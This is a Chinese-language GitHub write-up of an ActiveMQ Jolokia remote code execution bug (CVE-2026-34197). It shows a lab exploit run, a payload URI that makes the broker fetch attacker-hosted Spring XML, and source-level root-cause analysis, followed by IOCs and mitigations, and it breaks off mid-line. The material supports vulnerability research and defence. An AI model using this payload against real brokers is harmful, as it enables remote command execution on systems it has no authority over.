LAT-06/CVE-2026-34197

GitHub: LAT-06/CVE-2026-34197

一个针对Apache ActiveMQ Classic特定版本中,通过Jolokia JMX接口触发Spring Bean实例化实现远程命令执行(RCE)的漏洞利用与深度分析项目。

Stars: 0 | Forks: 0

# CVE-2026-34197 更多信息请参见:[链接](https://nvd.nist.gov/vuln/detail/CVE-2026-34197) # 漏洞利用阶段 ## 参考 Github: [链接](https://github.com/dinosn/CVE-2026-34197) ``` ❯ docker compose up -d ``` ``` ❯ python3 exploit_poc.py auto \ --target http://localhost:8161 \ --lhost 192.168.1.32 --lport 9999 \ --cmd "touch /tmp/blahblah.txt" ====================================================================== CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport For authorized security testing and research only. ====================================================================== [*] Target: http://localhost:8161 [*] Command: touch /tmp/blahblah.txt [*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml [+] Jolokia accessible — agent version: unknown [*] Could not discover broker name, using default 'localhost' [*] Sending exploit payload to http://localhost:8161/api/jolokia/ [*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml) [+] Target fetched payload: /evil.xml [+] Target fetched payload: /evil.xml [+] Jolokia returned 200 — exploit payload delivered [+] Response: { "request": { "mbean": "org.apache.activemq:brokerName=localhost,type=Broker", "arguments": [ "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)" ], "type": "exec", "operation": "addNetworkConnector(java.lang.String)" }, "value": "NC", "timestamp": 1775616523, "status": 200 } [*] Waiting 5s for target to fetch payload... [+] Target fetched payload: /evil.xml [+] Target fetched payload: /evil.xml [+] Target fetched payload: /evil.xml [+] Target fetched payload: /evil.xml [+] Done. Verify command execution on target. ``` 其中 LHOST 是您计算机上的私有 IP。您可以在 Windows 上使用 `ipconfig` 或在 Linux 上使用 `ifconfig` 命令获取。 检查 RCE ``` ❯ docker exec -it activemq-vuln ls -lah /tmp total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root ``` => RCE 成功,文件 `blahblah.txt` 已在目标系统上创建。 # 分析阶段 ## 动态分析 ``` ❯ docker exec activemq-vuln java -version openjdk version "11.0.24" 2024-07-16 OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8) OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing) ``` ``` ❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq' activemq-broker-5.18.6.jar activemq-client-5.18.6.jar activemq-console-5.18.6.jar activemq-jaas-5.18.6.jar activemq-kahadb-store-5.18.6.jar activemq-openwire-legacy-5.18.6.jar activemq-protobuf-1.1.jar activemq-rar.txt activemq-spring-5.18.6.jar activemq-web-5.18.6.jar ``` 运行时日志也确认 Jolokia 已通过 ActiveMQ Web 控制台启用并暴露: ``` INFO | ActiveMQ WebConsole available at http://0.0.0.0:8161/ INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/ ``` 验证连接 ``` ❯ curl -i -u admin:admin \ -H 'Origin: http://localhost:8161' \ http://localhost:8161/api/jolokia/ HTTP/1.1 200 OK Date: Mon, 18 May 2026 04:37:28 GMT X-FRAME-OPTIONS: SAMEORIGIN X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Cache-Control: no-cache Access-Control-Allow-Origin: http://localhost:8161 Access-Control-Allow-Credentials: true Content-Type: text/plain;charset=utf-8 Pragma: no-cache Expires: Mon, 18 May 2026 03:37:28 GMT Transfer-Encoding: chunked {"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200} ``` 这意味着: - Jolokia 可访问 - 使用默认凭据认证成功 - 目标运行的是 ActiveMQ 5.18.6 - Jolokia 代理接受了认证请求 读取日志 ``` docker logs activemq-vuln > activemq-rce.log ``` 然后 grep 清理链 ``` ❯ grep -E \ 'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \ activemq-rce.log Loading message broker from: xbean:activemq.xml INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39] at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39] at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25] at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25] at org.apache.xbean.spring.context.ResourceXmlApplicationContext.(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25] at org.apache.xbean.spring.context.ResourceXmlApplicationContext.(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25] at org.apache.activemq.xbean.XBeanBrokerFactory$1.(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6] at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6] at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6] at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6] at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6] at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6] at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6] at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39] WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused) ``` 发送 payload 后 ``` INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml ``` 这一行至关重要,因为它确认了攻击者控制的 URI 通过以下方式提供: ``` BrokerView.addNetworkConnector(String) ``` 未经清理即到达了 VM 传输层。 漏洞利用期间使用的恶意 URI 为: ``` static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml) ``` 此 URI 包含两个重要部分: | 组件 | 用途 | | ----------------- | ----------------------------------------------------- | | `static:(...)` | ActiveMQ 发现连接器使用的包装器 | | `vm://evil?...` | 由 ActiveMQ 内部处理的 VM 传输 URI | `static:(...)` 包装器本身不是易受攻击的组件。其目的是将封闭的传输 URI 传递到 ActiveMQ 的网络连接器子系统。 在运行时执行期间,ActiveMQ 提取并处理了内部的 VM 传输 URI: ``` vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml ``` 此行为在运行时日志中得到确认: ``` INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml ``` `brokerConfig=` 参数是 payload 的关键部分。它指示 VM 传输层使用从以下位置加载的外部 Spring xbean 配置动态创建一个 broker 实例: ``` http://192.168.1.32:9999/evil.xml ``` `xbean:` 前缀导致 ActiveMQ 将处理委托给 Spring 的 XML 应用程序上下文加载器: ``` org.apache.xbean.spring.context.ResourceXmlApplicationContext ``` 结果,远程 XML 文档被解析并实例化为 broker JVM 内的 Spring 应用程序上下文。 恶意 XML 包含以下 Spring bean: ``` ``` 此 bean 定义指示 Spring 在应用程序上下文初始化期间实例化一个 `ProcessBuilder` 对象并立即调用其 `start()` 方法。 漏洞利用使用了以下命令: ``` touch /tmp/blahblah.txt ``` 由于 Spring 在上下文初始化期间会急切实例化单例 bean,`ProcessBuilder.start()` 方法在 ActiveMQ 验证 broker 配置本身是否安全或有效之前即已执行。 这导致了在目标容器上执行任意命令。 通过检查 ActiveMQ 容器内的 `/tmp` 目录验证了漏洞利用成功: ``` ❯ docker exec -it activemq-vuln ls -lah /tmp total 16K drwxrwxrwt 1 root root 4.0K May 18 04:01 . drwxr-xr-x 1 root root 4.0K May 18 03:40 .. -rw-r--r-- 1 root root 0 May 18 04:01 blahblah.txt drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root ``` 文件元数据进一步确认了命令执行成功: ``` ❯ docker exec activemq-vuln stat /tmp/blahblah.txt File: /tmp/blahblah.txt Size: 0 Uid: (0/root) Gid: (0/root) Birth: 2026-05-18 04:01:35 ``` 这证明在 ActiveMQ 容器上下文中成功执行了任意操作系统命令。 运行时堆栈跟踪也揭示了完整的易受攻击执行路径: ``` BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> XmlBeanDefinitionReader.loadBeanDefinitions() -> Spring bean instantiation -> ProcessBuilder.start() -> OS command execution ``` 在运行时分析期间观察到以下堆栈跟踪条目: ``` at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ``` 动态分析期间最重要的观察之一是 Spring 和 ActiveMQ 处理恶意配置的顺序。 payload 执行成功后,ActiveMQ 随后生成了以下警告: ``` WARN | Could not connect to remote URI: The configuration has no BrokerService instance for resource: xbean:http://192.168.1.32:9999/evil.xml ``` 此行为表明: ``` Spring bean instantiation occurred before ActiveMQ validated the broker configuration. ``` 尽管 broker 配置本身最终被拒绝,但恶意的 Spring bean 已经实例化并执行了。 此顺序问题是 CVE-2026-34197 的核心逻辑缺陷。 动态分析识别了参与漏洞利用链的以下组件: | 组件 | 角色 | | ----------------------------- | ---------------------------------- | | Jolokia | HTTP 到 JMX 的桥接器 | | BrokerView | 暴露的管理 MBean | | VMTransportFactory | 解析 `vm://` 传输 URI | | BrokerFactory | 创建 broker 实例 | | XBeanBrokerFactory | 加载 Spring xbean 配置 | | ResourceXmlApplicationContext | 加载远程 XML | | XmlBeanDefinitionReader | 解析 Spring bean 定义 | | Spring BeanFactory | 实例化单例 bean | | ProcessBuilder | 执行操作系统命令 | 动态分析确认 CVE-2026-34197 是由以下因素之间的相互作用引起的: * 过于宽松的 Jolokia 管理操作 * 攻击者控制的传输 URI * VM 传输 broker 自动创建 * Spring xbean 远程配置加载 * 在验证之前急切实例化单例 bean 结果,经过认证的攻击者可以通过 Jolokia 暴露的 `addNetworkConnector()` 操作提供恶意的 `brokerConfig=xbean:http://...` URI,在 ActiveMQ JVM 上实现任意代码执行。 ### 架构概述 Apache ActiveMQ Classic 通过 Jolokia JMX-HTTP 桥接器暴露管理接口,该桥接器位于: ``` /api/jolokia/ ``` Jolokia 充当 HTTP 到 JMX 的桥接器,允许经过认证的用户通过 HTTP 远程调用 Java 管理扩展 (JMX) 操作。 分析期间识别的易受攻击架构路径如下所示: ``` HTTP Request -> Jolokia Servlet -> JMX MBean Invocation -> BrokerView.addNetworkConnector() -> VMTransportFactory -> BrokerFactory -> XBeanBrokerFactory -> Spring ResourceXmlApplicationContext -> Spring Bean Instantiation -> OS Command Execution ``` 漏洞利用链涉及以下组件: | 组件 | 功能 | | --------------------- | ---------------------------------------- | | Jolokia | 通过 HTTP 暴露 JMX 操作 | | BrokerView | 管理 MBean 接口 | | VMTransportFactory | 处理 `vm://` 传输 URI | | BrokerFactory | 动态创建 broker | | XBeanBrokerFactory | 加载 Spring xbean 配置 | | Spring Context Loader | 解析并实例化 XML bean 定义 | | ProcessBuilder | 执行操作系统命令 | 架构之所以变得脆弱,是因为 ActiveMQ 允许经过认证的用户调用带有攻击者控制的传输 URI 的危险 broker 管理方法。 ### 攻击面分析 主要攻击面是通过 ActiveMQ Web 控制台暴露的 Jolokia HTTP 端点: ``` http://:8161/api/jolokia/ ``` 运行时分析确认 Jolokia 接口默认是启用的: ``` INFO | ActiveMQ Jolokia REST API available at http://0.0.0.0:8161/api/jolokia/ ``` Jolokia 端点接受使用 HTTP 基本身份验证的认证请求: ``` "authMode":"basic" ``` 暴露了以下危险的管理操作: ``` BrokerView.addNetworkConnector(String) ``` 此方法接受用户控制的传输 URI,但未充分限制危险的 URI 方案或配置参数。 攻击者提供了以下 payload: ``` static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml) ``` 此 payload 同时滥用了多个特性: | 特性 | 滥用 | | ----------------------- | -------------------------------------- | | `addNetworkConnector()` | 接受攻击者控制的 URI | | `vm://` 传输 | 触发动态 broker 创建 | | `brokerConfig=` | 加载任意 broker 配置 | | `xbean:` | 调用 Spring XML 加载器 | | 远程 HTTP URL | 获取攻击者控制的 XML | 因此,攻击面包括: * Jolokia HTTP API 暴露 * 受限较弱的 JMX 管理操作 * 动态传输 URI 解析 * 外部 broker 配置加载 * Spring xbean 集成 ### 根本原因分析 该漏洞是由 ActiveMQ 内部多个受信任子系统之间的相互作用引起的。 核心问题是,经过认证的 Jolokia 用户被允许使用攻击者控制的传输 URI 调用危险的 broker 管理操作。 运行时分析期间识别的易受攻击执行流程是: ``` Jolokia -> BrokerView.addNetworkConnector() -> VMTransportFactory.doCompositeConnect() -> BrokerFactory.createBroker() -> XBeanBrokerFactory.createApplicationContext() -> ResourceXmlApplicationContext -> Spring bean instantiation ``` 关键参数是: ``` brokerConfig=xbean:http://attacker/evil.xml ``` 此参数指示 VM 传输层使用外部 Spring xbean 配置动态创建一个 broker。 以下运行时证据证实了此行为: ``` INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml ``` Spring 然后通过以下方式加载远程 XML: ``` org.apache.xbean.spring.context.ResourceXmlApplicationContext ``` 恶意 XML 包含: ``` ``` 在 Spring 应用程序上下文初始化期间,单例 bean 会被急切实例化。结果,`ProcessBuilder.start()` 方法立即执行。 关键的逻辑缺陷是,Spring bean 实例化发生在 ActiveMQ 验证 broker 配置本身是否安全或有效之前。 此行为通过以下方式被动态证明: 1. 恶意 payload 成功创建了 `/tmp/blahblah.txt` 2. ActiveMQ 随后拒绝了 broker 配置,错误信息为: ``` The configuration has no BrokerService instance ``` 这表明代码执行发生在 broker 验证完成之前。 ### 入侵指标 (IOC) 与检测 潜在的入侵指标包括针对 ActiveMQ 管理操作的可疑 Jolokia 请求。 #### 可疑的 Jolokia 操作 查找调用以下内容的请求: ``` addNetworkConnector addConnector ``` 通过以下方式: ``` /api/jolokia/ ``` #### 可疑的 URI 模式 以下 URI 片段是利用尝试的强指标: ``` vm:// brokerConfig= xbean: static:( ``` 示例恶意 payload: ``` static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml) ``` #### 出站 HTTP 连接 Broker 可能会向攻击者控制的基础设施发起出站请求: ``` http://attacker/evil.xml ``` 来自 broker JVM 的意外出站 HTTP 流量应进行调查。 #### 可疑的运行时日志 以下运行时消息是可疑的: ``` Establishing network connection from vm://localhost to vm://evil ``` ``` ResourceXmlApplicationContext ``` ``` XmlBeanDefinitionReader.loadBeanDefinitions ``` #### 文件系统构件 在以下位置出现意外文件: ``` /tmp/ ``` 或来自 ActiveMQ JVM 的可疑子进程执行可能表明存在漏洞利用。 ### 影响分析 成功利用漏洞可在 ActiveMQ JVM 上下文中实现经过认证的远程代码执行。 在分析的环境中,任意操作系统命令在容器内成功执行: ``` touch /tmp/blahblah.txt ``` 结果: ``` /tmp/blahblah.txt ``` 文件创建为: ``` Uid: (0/root) ``` 这表明命令执行是在容器内以 root 权限发生的。 潜在影响包括: | 影响 | 描述 | | --------------------- | ----------------------------------------- | | 远程代码执行 | 任意命令执行 | | 容器失陷 | ActiveMQ 容器被完全攻陷 | | 凭证窃取 | 访问 broker 凭证和密钥 | | 横向移动 | 转向相邻系统 | | 持久化 | 创建恶意网络连接器 | | 数据泄露 | 访问 broker 消息和队列 | 如果存在以下情况,严重性会显著增加: * Jolokia 被外部暴露 * 默认凭据保持启用 * 容器以 root 身份运行 * Broker 主机具有无限制的出站访问权限 ### 缓解措施 #### 升级到修复版本 将 ActiveMQ Classic 升级到: ``` 5.19.4 or later 6.2.3 or later ``` #### 限制 Jolokia 访问 如果不需要,请禁用 Jolokia。 如果必须保持启用 Jolokia: * 将访问权限限制在受信任的管理网络 * 强制执行强身份验证 * 禁用危险的 exec 操作 * 应用严格的 Jolokia 访问策略 #### 移除默认凭据 不要使用: ``` admin:admin ``` #### 限制出站网络访问 阻止 broker 发起任意的出站 HTTP 连接。 这可以缓解远程 XML 检索尝试。 #### 禁用危险功能 限制或禁用: * 动态 broker 创建 * `vm://` 传输的使用 * 外部 `xbean:` 配置加载 #### 加固运行时环境 * 以非 root 用户身份运行容器 * 应用文件系统限制 * 使用网络分段 * 监控 JVM 子进程执行 #### 检测建议 监控以下内容: * 对 `/api/jolokia/` 的请求 * `addNetworkConnector` 的使用 * `brokerConfig=` 参数 * `xbean:` URI * 来自 broker JVM 的出站 HTTP 请求 * Java 生成的意外子进程 ## 静态分析 ### 源代码概述 易受攻击的路径跨越了 ActiveMQ Web/JMX 管理层、broker 网络层、VM 传输、broker 工厂子系统和 Spring XBean 配置加载。 Jolokia 在 ActiveMQ Web API 应用程序中启用: ``` jolokia-agent org.jolokia.http.AgentServlet ... jolokia-agent /jolokia/* ``` 在 broker 启动时,ActiveMQ 将 `BrokerView` 注册为 broker 管理 MBean: ``` // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java protected void startManagementContext() throws Exception { getManagementContext().setBrokerName(brokerName); getManagementContext().start(); adminView = new BrokerView(this, null); ObjectName objectName = getBrokerObjectName(); AnnotatedMBean.registerMBean(getManagementContext(), adminView, objectName); } ``` 对象名称创建为: ``` // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName) throws MalformedObjectNameException { String objectNameStr = jmxDomainName + ":type=Broker,brokerName="; objectNameStr += JMXSupport.encodeObjectNamePart(brokerName); return new ObjectName(objectNameStr); } ``` 在默认发行版中,这将 broker MBean 暴露为可通过 HTTP 调用的 Jolokia 目标,例如: ``` org.apache.activemq:type=Broker,brokerName=localhost ``` 相关组件的职责如下: - `BrokerView`:面向 JMX 的 broker 管理外观。它暴露了 `addNetworkConnector(String)` 和 `addConnector(String)` 方法。 - `BrokerService`:broker 运行时对象。它将字符串网络连接器地址转换为 `URI`,并创建一个 `DiscoveryNetworkConnector`。 - `DiscoveryNetworkConnector`:使用发现代理获取远程 broker 服务 URI,然后连接到每个发现的 URI。 - `TransportFactory`:使用 `META-INF/services/org/apache/activemq/transport/` 将 URI 方案解析为传输工厂。 - `VMTransportFactory`:处理 `vm://` 传输,并在请求的 VM broker 不存在时自动创建一个嵌入式 broker。 - `BrokerFactory`:使用 `META-INF/services/org/apache/activemq/broker/` 解析 broker 配置 URI 方案。 - `XBeanBrokerFactory`:处理 `xbean:` broker 配置 URI,并创建一个 Spring/XBean 应用程序上下文。 - `ResourceXmlApplicationContext`:加载 XML 资源并执行 Spring bean 工厂刷新,包括急切的单例创建。 该漏洞之所以存在,是因为管理方法接受了一种非被动数据的 ActiveMQ URI 语言。当该 URI 被求值时,它可以创建 broker 并加载 Spring XML 配置。 ### 易受攻击的入口点 易受攻击的入口点是: ``` // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java public String addNetworkConnector(String discoveryAddress) throws Exception { NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress); if (connector == null) { throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress); } brokerService.registerNetworkConnectorMBean(connector); connector.start(); return connector.getName(); } ``` MBean 接口将操作暴露为: ``` // activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerViewMBean.java @MBeanInfo("Adds a Network Connector to the broker.") String addNetworkConnector(@MBeanInfo("discoveryAddress") String discoveryAddress) throws Exception; ``` 攻击者控制的输入是传递给 `discoveryAddress` 的 Jolokia `exec` 参数。在易受攻击的版本中,`BrokerView.addNetworkConnector()` 在将字符串传递给 `BrokerService` 之前,没有进行方案验证、嵌套 URI 验证或过滤特定于传输的参数。 `BrokerService` 将字符串直接转换为 `URI`: ``` // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception { return addNetworkConnector(new URI(discoveryAddress)); } public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception { NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress); return addNetworkConnector(connector); } ``` 然后使用本地 broker URI 配置连接器对象,并将其添加到 broker: ``` // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java public NetworkConnector addNetworkConnector(NetworkConnector connector) throws Exception { connector.setBrokerService(this); connector.setLocalUri(getVmConnectorURI()); ... networkConnectors.add(connector); return connector; } ``` 当 `BrokerView` 启动连接器时,控制流到达传输子系统: ``` connector.start(); ``` 对于利用 URI: ``` static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml) ``` `static:(...)` 创建一个静态发现连接器,内部的 `vm://...` URI 成为发现的远程服务。 ### VM 传输分析 VM 传输通过以下方式解析: ``` # activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm class=org.apache.activemq.transport.vm.VMTransportFactory ``` 易受攻击的方法是: ``` // activemq-broker/src/main/java/org/apache/activemq/transport/vm/VMTransportFactory.java public Transport doCompositeConnect(URI location) throws Exception ``` 该方法解析 `vm://` URI,提取查询参数,并将 `brokerConfig` 视为 broker 创建 URI: ``` host = extractHost(location); options = URISupport.parseParameters(location); String config = options.remove("brokerConfig"); if (config != null) { brokerURI = new URI(config); } else { Map brokerOptions = IntrospectionSupport.extractProperties(options, "broker."); brokerURI = new URI("broker://()/" + host + "?" + URISupport.createQueryString(brokerOptions)); } ``` `create` 选项默认为 `true`: ``` boolean create = true; ... if ("false".equals(options.remove("create"))) { create = false; } ``` 如果请求的 VM 主机不存在 broker,`VMTransportFactory` 将创建一个: ``` broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart); if (broker == null) { if (!create) { throw new IOException("Broker named '" + host + "' does not exist."); } try { if (brokerFactoryHandler != null) { broker = brokerFactoryHandler.createBroker(brokerURI); } else { broker = BrokerFactory.createBroker(brokerURI); } broker.start(); MDC.put("activemq.broker", broker.getBrokerName()); } catch (URISyntaxException e) { throw IOExceptionSupport.create(e); } BROKERS.put(host, broker); BrokerRegistry.getInstance().getRegistryMutext().notifyAll(); } ``` 这是传输层的权限边界失败。通过管理平面提供的 URI 被 VM 传输作为从任意配置 URI 创建 broker 的指令进行求值。 剩余的参数验证发生在 broker 创建之后: ``` if (!options.isEmpty()) { throw new IllegalArgumentException("Invalid connect parameters: " + options); } return transport; ``` 该验证无法阻止通过 `brokerConfig` 执行代码,因为 `brokerConfig` 在此检查运行之前已从 `options` 中移除并消耗。 上游发现路径是: ``` // activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java remoteTransport = TransportFactory.connect(connectUri); ``` 对于 `static:(...)`,`SimpleDiscoveryAgent.start()` 立即发出每个配置的服务: ``` // activemq-client/src/main/java/org/apache/activemq/transport/discovery/simple/SimpleDiscoveryAgent.java public void start() throws Exception { taskRunner = new TaskRunnerFactory(); taskRunner.init(); running.set(true); for (int i = 0; i < services.length; i++) { listener.onServiceAdd(new SimpleDiscoveryEvent(services[i])); } } ``` 然后 `DiscoveryNetworkConnector.onServiceAdd()` 连接到攻击者控制的内部 URI。 ### Broker 创建流程 Broker 创建由以下方法处理: ``` // activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java public static BrokerService createBroker(URI brokerURI) throws Exception { return createBroker(brokerURI, false); } public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception { if (brokerURI.getScheme() == null) { throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI); } BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme()); BrokerService broker = handler.createBroker(brokerURI); if (startBroker) { broker.start(); } return broker; } ``` 处理器查找基于方案: ``` private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER = new FactoryFinder("META-INF/services/org/apache/activemq/broker/"); public static BrokerFactoryHandler createBrokerFactoryHandler(String type) throws IOException { try { return (BrokerFactoryHandler)BROKER_FACTORY_HANDLER_FINDER.newInstance(type); } catch (Throwable e) { throw IOExceptionSupport.create("Could not load " + type + " factory:" + e, e); } } ``` 对于 `xbean:` URI,服务描述符映射到 `XBeanBrokerFactory`: ``` # activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/代理/xbean class=org.apache.activemq.xbean.XBeanBrokerFactory ``` 精确的静态调用流程: ``` BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.(URI) -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> BrokerFactory.createBroker(URI, boolean) -> XBeanBrokerFactory.createBroker(URI) ``` 关键转换是: ``` vm://evil?brokerConfig=xbean:http://attacker/evil.xml ``` 到: ``` BrokerFactory.createBroker(new URI("xbean:http://attacker/evil.xml")) ``` ### Spring XBean 分析 相关的 XBean 工厂是: ``` // activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java public class XBeanBrokerFactory implements BrokerFactoryHandler ``` `createBroker()` 提取 `xbean:` URI 的方案特定部分,并在检查是否包含 broker 之前创建一个 Spring 应用程序上下文: ``` public BrokerService createBroker(URI config) throws Exception { String uri = config.getSchemeSpecificPart(); if (uri.lastIndexOf('?') != -1) { IntrospectionSupport.setProperties(this, URISupport.parseQuery(uri)); uri = uri.substring(0, uri.lastIndexOf('?')); } ApplicationContext context = createApplicationContext(uri); BrokerService broker = null; try { broker = (BrokerService)context.getBean("broker"); } catch (BeansException e) { } ... } ``` 危险的接收器是 `createApplicationContext()`: ``` protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException { Resource resource = Utils.resourceFromString(uri); LOG.debug("Using " + resource + " from " + uri); try { return new ResourceXmlApplicationContext(resource) { @Override protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) { reader.setValidating(isValidate()); } }; } catch (FatalBeanException errorToLog) { LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog); throw errorToLog; } } ``` 远程资源由 `Utils.resourceFromString()` 接受: ``` // activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java public static Resource resourceFromString(String uri) throws MalformedURLException { Resource resource; File file = new File(uri); if (file.exists()) { resource = new FileSystemResource(uri); } else if (ResourceUtils.isUrl(uri)) { try { resource = new UrlResource(ResourceUtils.getURL(uri)); } catch (FileNotFoundException e) { MalformedURLException malformedURLException = new MalformedURLException(uri); malformedURLException.initCause(e); throw malformedURLException; } } else { resource = new ClassPathResource(uri); } return resource; } ``` 因此: ``` xbean:http://192.168.1.32:9999/evil.xml ``` 被简化为: ``` http://192.168.1.32:9999/evil.xml ``` 并作为 Spring `UrlResource` 加载。 对 `reader.setValidating(isValidate())` 的调用仅控制 Spring 的 `XmlBeanDefinitionReader` 中的 XML 验证模式。它不限制 bean 类、构造函数参数、生命周期方法或远程 URL 资源。 ### Spring Bean 实例化分析 ActiveMQ 5.18.6 声明: ``` 5.3.39 4.25 ``` 在 XBean 4.25 中,`ResourceXmlApplicationContext` 从其构造函数调用 `refresh()`: ``` // org/apache/xbean/spring/context/ResourceXmlApplicationContext.java public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) { super(); this.xmlPreprocessors = xmlPreprocessors; this.resource = resource; refresh(); } ``` 它从提供的资源加载 bean 定义: ``` protected void 